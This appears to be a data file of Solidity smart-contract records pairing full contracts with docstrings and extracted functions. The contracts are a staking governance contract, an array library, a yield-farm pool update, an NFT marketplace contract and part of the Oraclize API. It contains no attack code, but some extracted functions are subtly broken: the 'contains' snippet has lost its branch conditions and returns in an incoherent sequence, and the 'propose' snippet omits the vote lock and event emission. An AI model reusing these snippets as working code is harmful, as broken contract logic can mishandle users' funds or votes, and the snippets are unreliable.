* @param _quorumReached true if quorum was reached, false otherwise
*/
event ProposalFinished(
uint256 indexed _id,
uint256 _for,
uint256 _against,
bool _quorumReached
);
/**
* @notice triggered when a proposal was successfully executed
*
* @param _id proposal id
* @param _executor contract that will execute the proposal once it passes
*/
event ProposalExecuted(uint256 indexed _id, address indexed _executor);
/**
* @notice triggered when a stake has been added to the contract
*
* @param _user staker address
* @param _amount staked amount
*/
event Staked(address indexed _user, uint256 _amount);
/**
* @notice triggered when a stake has been removed from the contract
*
* @param _user staker address
* @param _amount unstaked amount
*/
event Unstaked(address indexed _user, uint256 _amount);
/**
* @notice triggered when a user votes on a proposal
*
* @param _id proposal id
* @param _voter voter addrerss
* @param _vote true if the vote is for the proposal, false otherwise
* @param _weight number of votes
*/
event Vote(uint256 indexed _id, address indexed _voter, bool _vote, uint256 _weight);
/**
* @notice triggered when the quorum is updated
*
* @param _quorum new quorum
*/
event QuorumUpdated(uint256 _quorum);
/**
* @notice triggered when the minimum stake required to create a new proposal is updated
*
* @param _minimum new minimum
*/
event NewProposalMinimumUpdated(uint256 _minimum);
/**
* @notice triggered when the vote duration is updated
*
* @param _voteDuration new vote duration
*/
event VoteDurationUpdated(uint256 _voteDuration);
/**
* @notice triggered when the vote lock duration is updated
*
* @param _duration new vote lock duration
*/
event VoteLockDurationUpdated(uint256 _duration);
// PROPOSALS
// voting duration in seconds
uint256 public voteDuration = 3 days;
// vote lock in seconds
uint256 public voteLockDuration = 3 days;
// the fraction of vote lock used to lock voter to avoid rapid unstaking
uint256 public constant voteLockFraction = 10;
// minimum stake required to propose
uint256 public newProposalMinimum = 1e18;
// quorum needed for a proposal to pass, default = 20%
uint256 public quorum = 200000;
// sum of current total votes
uint256 public totalVotes;
// number of proposals
uint256 public proposalCount;
// proposals by id
mapping(uint256 => Proposal) public proposals;
// VOTES
// governance token used for votes
IERC20 public immutable govToken;
// lock duration for each voter stake by voter address
mapping(address => uint256) public voteLocks;
// number of votes for each user
mapping(address => uint256) private votes;
/**
* @notice used to initialize a new BancorGovernance contract
*
* @param _govToken token used to represents votes
*/
constructor(IERC20 _govToken) public {
require(address(_govToken) != address(0), "ERR_NO_TOKEN");
govToken = _govToken;
}
/**
* @notice allows execution by staker only
*/
modifier onlyStaker() {
require(votes[msg.sender] > 0, "ERR_NOT_STAKER");
_;
}
/**
* @notice allows execution only when the proposal exists
*
* @param _id proposal id
*/
modifier proposalExists(uint256 _id) {
Proposal memory proposal = proposals[_id];
require(proposal.start > 0 && proposal.start < block.timestamp, "ERR_INVALID_ID");
_;
}
/**
* @notice allows execution only when the proposal is still open
*
* @param _id proposal id
*/
modifier proposalOpen(uint256 _id) {
Proposal memory proposal = proposals[_id];
require(proposal.open, "ERR_NOT_OPEN");
_;
}
/**
* @notice allows execution only when the proposal with given id is open
*
* @param _id proposal id
*/
modifier proposalNotEnded(uint256 _id) {
Proposal memory proposal = proposals[_id];
require(proposal.end >= block.timestamp, "ERR_ENDED");
_;
}
/**
* @notice allows execution only when the proposal with given id has ended
*
* @param _id proposal id
*/
modifier proposalEnded(uint256 _id) {
Proposal memory proposal = proposals[_id];
require(proposal.end <= block.timestamp, "ERR_NOT_ENDED");
_;
}
/**
* @notice verifies that a value is greater than zero
*
* @param _value value to check for zero
*/
modifier greaterThanZero(uint256 _value) {
require(_value > 0, "ERR_ZERO_VALUE");
_;
}
/**
* @notice Updates the vote lock on the sender
*
* @param _proposalEnd proposal end time
*/
function updateVoteLock(uint256 _proposalEnd) private onlyStaker {
voteLocks[msg.sender] = Math.max(
voteLocks[msg.sender],
Math.max(_proposalEnd, voteLockDuration.add(block.timestamp))
);
}
/**
* @notice does the common vote finalization
*
* @param _id the id of the proposal to vote
* @param _for is this vote for or against the proposal
*/
function vote(uint256 _id, bool _for)
private
onlyStaker
proposalExists(_id)
proposalOpen(_id)
proposalNotEnded(_id)
{
Proposal storage proposal = proposals[_id];
if (_for) {
uint256 votesAgainst = proposal.votesAgainst[msg.sender];
// do we have against votes for this sender?
if (votesAgainst > 0) {
// yes, remove the against votes first
proposal.totalVotesAgainst = proposal.totalVotesAgainst.sub(votesAgainst);
proposal.votesAgainst[msg.sender] = 0;
}
} else {
// get against votes for this sender
uint256 votesFor = proposal.votesFor[msg.sender];
// do we have for votes for this sender?
if (votesFor > 0) {
proposal.totalVotesFor = proposal.totalVotesFor.sub(votesFor);
proposal.votesFor[msg.sender] = 0;
}
}
// calculate voting power in case voting against twice
uint256 voteAmount = votesOf(msg.sender).sub(
_for ? proposal.votesFor[msg.sender] : proposal.votesAgainst[msg.sender]
);
if (_for) {
// increase total for votes of the proposal
proposal.totalVotesFor = proposal.totalVotesFor.add(voteAmount);
// set for votes to the votes of the sender
proposal.votesFor[msg.sender] = votesOf(msg.sender);
} else {
// increase total against votes of the proposal
proposal.totalVotesAgainst = proposal.totalVotesAgainst.add(voteAmount);
// set against votes to the votes of the sender
proposal.votesAgainst[msg.sender] = votesOf(msg.sender);
}
// update total votes available on the proposal
proposal.totalAvailableVotes = totalVotes;
// recalculate quorum based on overall votes
proposal.quorum = calculateQuorumRatio(proposal);
// update vote lock
updateVoteLock(proposal.end);
// emit vote event
emit Vote(proposal.id, msg.sender, _for, voteAmount);
}
/**
* @notice returns the quorum ratio of a proposal
*
* @param _proposal proposal
* @return quorum ratio
*/
function calculateQuorumRatio(Proposal memory _proposal) internal view returns (uint256) {
// calculate overall votes
uint256 totalProposalVotes = _proposal.totalVotesFor.add(_proposal.totalVotesAgainst);
return totalProposalVotes.mul(PPM_RESOLUTION).div(totalVotes);
}
/**
* @notice removes the caller's entire stake
*/
function exit() external {
unstake(votesOf(msg.sender));
}
/**
* @notice returns the voting stats of a proposal
*
* @param _id proposal id
* @return votes for ratio
* @return votes against ratio
* @return quorum ratio
*/
function proposalStats(uint256 _id)
public
view
returns (
uint256,
uint256,
uint256
)
{
Proposal memory proposal = proposals[_id];
uint256 forRatio = proposal.totalVotesFor;
uint256 againstRatio = proposal.totalVotesAgainst;
// calculate overall total votes
uint256 totalProposalVotes = forRatio.add(againstRatio);
// calculate for votes ratio
forRatio = forRatio.mul(PPM_RESOLUTION).div(totalProposalVotes);
// calculate against votes ratio
againstRatio = againstRatio.mul(PPM_RESOLUTION).div(totalProposalVotes);
// calculate quorum ratio
uint256 quorumRatio = totalProposalVotes.mul(PPM_RESOLUTION).div(
proposal.totalAvailableVotes
);
return (forRatio, againstRatio, quorumRatio);
}
/**
* @notice returns the voting power of a given address
*
* @param _voter voter address
* @return votes of given address
*/
function votesOf(address _voter) public view returns (uint256) {
return votes[_voter];
}
/**
* @notice returns the voting power of a given address against a given proposal
*
* @param _voter voter address
* @param _id proposal id
* @return votes of given address against given proposal
*/
function votesAgainstOf(address _voter, uint256 _id) public view returns (uint256) {
return proposals[_id].votesAgainst[_voter];
}
/**
* @notice returns the voting power of a given address for a given proposal
*
* @param _voter voter address
* @param _id proposal id
* @return votes of given address for given proposal
*/
function votesForOf(address _voter, uint256 _id) public view returns (uint256) {
return proposals[_id].votesFor[_voter];
}
/**
* @notice updates the quorum needed for proposals to pass
*
* @param _quorum required quorum
*/
function setQuorum(uint256 _quorum) public ownerOnly greaterThanZero(_quorum) {
// check quorum for not being above 100
require(_quorum <= PPM_RESOLUTION, "ERR_QUORUM_TOO_HIGH");
quorum = _quorum;
emit QuorumUpdated(_quorum);
}
/**
* @notice updates the minimum stake required to create a new proposal
*
* @param _minimum minimum stake
*/
function setNewProposalMinimum(uint256 _minimum) public ownerOnly greaterThanZero(_minimum) {
require(_minimum <= govToken.totalSupply(), "ERR_EXCEEDS_TOTAL_SUPPLY");
newProposalMinimum = _minimum;
emit NewProposalMinimumUpdated(_minimum);
}
/**
* @notice updates the proposals voting duration
*
* @param _voteDuration vote duration
*/
function setVoteDuration(uint256 _voteDuration)
public
ownerOnly
greaterThanZero(_voteDuration)
{
voteDuration = _voteDuration;
emit VoteDurationUpdated(_voteDuration);
}
/**
* @notice updates the post vote lock duration
*
* @param _duration new vote lock duration
*/
function setVoteLockDuration(uint256 _duration) public ownerOnly greaterThanZero(_duration) {
voteLockDuration = _duration;
emit VoteLockDurationUpdated(_duration);
}
/**
* @notice creates a new proposal
*
* @param _executor the address of the contract that will execute the proposal after it passes
* @param _hash ipfs hash of the proposal description
*/
function propose(address _executor, string memory _hash) public {
require(votesOf(msg.sender) > newProposalMinimum, "ERR_INSUFFICIENT_STAKE");
uint256 id = proposalCount;
// increment proposal count so next proposal gets the next higher id
proposalCount = proposalCount.add(1);
// create new proposal
Proposal memory proposal = Proposal({
id: id,
proposer: msg.sender,
totalVotesFor: 0,
totalVotesAgainst: 0,
start: block.timestamp,
end: voteDuration.add(block.timestamp),
executor: _executor,
hash: _hash,
totalAvailableVotes: totalVotes,
quorum: 0,
quorumRequired: quorum,
open: true,
executed: false
});
proposals[id] = proposal;
// lock proposer
updateVoteLock(proposal.end);
// emit proposal event
emit NewProposal(id, proposal.start, voteDuration, proposal.proposer, proposal.executor);
}
/**
* @notice executes a proposal
*
* @param _id id of the proposal to execute
*/
function execute(uint256 _id) public proposalExists(_id) proposalEnded(_id) {
// check for executed status
require(!proposals[_id].executed, "ERR_ALREADY_EXECUTED");
// get voting info of proposal
(uint256 forRatio, uint256 againstRatio, uint256 quorumRatio) = proposalStats(_id);
// check proposal state
require(quorumRatio >= proposals[_id].quorumRequired, "ERR_NO_QUORUM");
// if the proposal is still open
if (proposals[_id].open) {
// tally votes
tallyVotes(_id);
}
// set executed
proposals[_id].executed = true;
// do execution on the contract to be executed
// note that this is a safe call as it was part of the proposal that was voted on
IExecutor(proposals[_id].executor).execute(_id, forRatio, againstRatio, quorumRatio);
// emit proposal executed event
emit ProposalExecuted(_id, proposals[_id].executor);
}
/**
* @notice tallies votes of proposal with given id
*
* @param _id id of the proposal to tally votes for
*/
function tallyVotes(uint256 _id)
public
proposalExists(_id)
proposalOpen(_id)
proposalEnded(_id)
{
// get voting info of proposal
(uint256 forRatio, uint256 againstRatio, ) = proposalStats(_id);
// do we have a quorum?
bool quorumReached = proposals[_id].quorum >= proposals[_id].quorumRequired;
// close proposal
proposals[_id].open = false;
// emit proposal finished event
emit ProposalFinished(_id, forRatio, againstRatio, quorumReached);
}
/**
* @notice stakes vote tokens
*
* @param _amount amount of vote tokens to stake
*/
function stake(uint256 _amount) public greaterThanZero(_amount) {
// increase vote power
votes[msg.sender] = votesOf(msg.sender).add(_amount);
// increase total votes
totalVotes = totalVotes.add(_amount);
// transfer tokens to this contract
govToken.safeTransferFrom(msg.sender, address(this), _amount);
// lock staker to avoid flashloans messing around with total votes
voteLocks[msg.sender] = Math.max(
voteLocks[msg.sender],
Math.max(voteLockDuration.div(voteLockFraction), 10 minutes).add(block.timestamp)
);
// emit staked event
emit Staked(msg.sender, _amount);
}
/**
* @notice unstakes vote tokens
*
* @param _amount amount of vote tokens to unstake
*/
function unstake(uint256 _amount) public greaterThanZero(_amount) {
require(voteLocks[msg.sender] < block.timestamp, "ERR_LOCKED");
// reduce votes for user
votes[msg.sender] = votesOf(msg.sender).sub(_amount);
// reduce total votes
totalVotes = totalVotes.sub(_amount);
// transfer tokens back
govToken.safeTransfer(msg.sender, _amount);
// emit unstaked event
emit Unstaked(msg.sender, _amount);
}
/**
* @notice votes for a proposal
*
* @param _id id of the proposal to vote for
*/
function voteFor(uint256 _id) public {
vote(_id, true);
}
/**
* @notice votes against a proposal
*
* @param _id id of the proposal to vote against
*/
function voteAgainst(uint256 _id) public {
vote(_id, false);
}
}
|
creates a new proposal _executor the address of the contract that will execute the proposal after it passes _hash ipfs hash of the proposal description/ increment proposal count so next proposal gets the next higher id create new proposal
|
function propose(address _executor, string memory _hash) public {
require(votesOf(msg.sender) > newProposalMinimum, "ERR_INSUFFICIENT_STAKE");
uint256 id = proposalCount;
proposalCount = proposalCount.add(1);
Proposal memory proposal = Proposal({
id: id,
proposer: msg.sender,
totalVotesFor: 0,
totalVotesAgainst: 0,
start: block.timestamp,
end: voteDuration.add(block.timestamp),
executor: _executor,
hash: _hash,
totalAvailableVotes: totalVotes,
quorum: 0,
quorumRequired: quorum,
open: true,
executed: false
});
proposals[id] = proposal;
}
| 13,465,092 |
pragma solidity 0.4.24;
/**
* @title Arrays
* @author Wu Di
* @notice Library for arrays
*/
library Arrays {
// solhint-disable-next-line contract-name-camelcase
struct uint256NoDup {
uint256[] values;
mapping (uint256 => uint256) valueIdx;
}
/**
* @dev Check for value in array
* @param value Value to check for
*/
function contains(uint256NoDup storage self, uint256 value)
public
view
returns (bool exists)
{
if (self.values.length == 0) {
return false;
} else if (self.valueIdx[value] > 0) {
return true;
} else if (self.values[0] == value) {
return true;
}
return false;
}
/**
* @dev Add a value
* @param value Value to add
*/
function add(uint256NoDup storage self, uint256 value)
public
{
require(!contains(self, value), "Duplicate element");
uint256 idx = self.values.push(value) - 1;
self.valueIdx[value] = idx;
}
/**
* @dev Remove value
* @param value Value to remove
*/
function remove(uint256NoDup storage self, uint256 value)
public
{
require(contains(self, value), "Element does not exist");
uint256 idx = self.valueIdx[value];
uint256 last = self.values.length - 1;
if (idx == last) {
self.valueIdx[value] = 0;
delete self.values[last];
self.values.length--;
} else {
self.valueIdx[value] = 0;
self.values[idx] = self.values[last];
self.valueIdx[self.values[idx]] = idx;
delete self.values[last];
self.values.length--;
}
}
// solhint-disable-next-line contract-name-camelcase
struct bytes32NoDup {
bytes32[] values;
mapping (bytes32 => uint256) valueIdx;
}
/**
* @dev Check for value in array
* @param value Value to check for
*/
function contains(bytes32NoDup storage self, bytes32 value)
public
view
returns (bool exists)
{
if (self.values.length == 0) {
return false;
} else if (self.valueIdx[value] > 0) {
return true;
} else if (self.values[0] == value) {
return true;
}
return false;
}
/**
* @dev Add a value
* @param value Value to add
*/
function add(bytes32NoDup storage self, bytes32 value)
public
{
require(!contains(self, value), "Duplicate element");
uint256 idx = self.values.push(value) - 1;
self.valueIdx[value] = idx;
}
/**
* @dev Remove value
* @param value Value to remove
*/
function remove(bytes32NoDup storage self, bytes32 value)
public
{
require(contains(self, value), "Element does not exist");
uint256 idx = self.valueIdx[value];
uint256 last = self.values.length - 1;
if (idx == last) {
self.valueIdx[value] = 0;
delete self.values[last];
self.values.length--;
} else {
self.valueIdx[value] = 0;
self.values[idx] = self.values[last];
self.valueIdx[self.values[idx]] = idx;
delete self.values[last];
self.values.length--;
}
}
}
|
Check for value in array value Value to check for/
|
function contains(uint256NoDup storage self, uint256 value)
public
view
returns (bool exists)
{
if (self.values.length == 0) {
return false;
return true;
return true;
}
return false;
}
| 13,076,399 |
./partial_match/3/0x265DaDca67c1bb56518e845073bBF9F9FEBeaAB1/sources/BirdFarm.sol
|
Update reward variables of the given pool to be up-to-date.
|
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 eggReward = multiplier.mul(eggPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
egg.mint(address(this), eggReward);
pool.accEggPerShare = pool.accEggPerShare.add(eggReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 5,116,501 |
pragma solidity ^0.4.24;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./WallOfChainToken.sol";
contract WallOfChainMarket is TokenRecover {
using SafeMath for uint256;
// The token being sold
WallOfChainToken public token;
// Address where funds are collected
address public wallet;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param tokenId the token id purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 tokenId
);
/**
* Event for token edit logging
* @param beneficiary who has the tokens
* @param value weis added in edit
* @param tokenId the token id edited
*/
event TokenEdit(
address indexed beneficiary,
uint256 value,
uint256 tokenId
);
/**
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(address _wallet, WallOfChainToken _token) public {
require(
_wallet != address(0),
"Wallet can't be the zero address"
);
require(
_token != address(0),
"Token can't be the zero address"
);
wallet = _wallet;
token = _token;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
*/
function buyToken(
address _beneficiary,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary);
// update state
weiRaised = weiRaised.add(weiAmount);
uint256 lastTokenId = _processPurchase(
_beneficiary,
weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
lastTokenId
);
_forwardFunds();
}
/**
* @dev low level token edit
*/
function editToken(
uint256 _tokenId,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
payable
{
address tokenOwner = token.ownerOf(_tokenId);
require(msg.sender == tokenOwner, "Sender must be token owner");
// update state
uint256 weiAmount = msg.value;
weiRaised = weiRaised.add(weiAmount);
uint256 currentTokenId = _processEdit(
_tokenId,
weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
emit TokenEdit(
tokenOwner,
weiAmount,
currentTokenId
);
_forwardFunds();
}
/**
* @dev change the destination wallet
*/
function changeWallet(address _newWallet) public onlyOwner {
require(
_newWallet != address(0),
"Wallet can't be the zero address"
);
wallet = _newWallet;
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
*/
function _preValidatePurchase(
address _beneficiary
)
internal
pure
{
require(
_beneficiary != address(0),
"Beneficiary can't be the zero address"
);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed.
*/
function _processPurchase(
address _beneficiary,
uint256 _weiAmount,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
internal
returns (uint256)
{
return token.newToken(
_beneficiary,
_weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
}
/**
* @dev Executed when a edit has been validated and is ready to be executed.
*/
function _processEdit(
uint256 _tokenId,
uint256 _weiAmount,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
internal
returns (uint256)
{
return token.editToken(
_tokenId,
_weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
if (msg.value > 0) {
wallet.transfer(msg.value);
}
}
}
|
change the destination wallet/
|
function changeWallet(address _newWallet) public onlyOwner {
require(
_newWallet != address(0),
"Wallet can't be the zero address"
);
wallet = _newWallet;
}
| 1,001,159 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
pragma solidity ^0.4.11;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
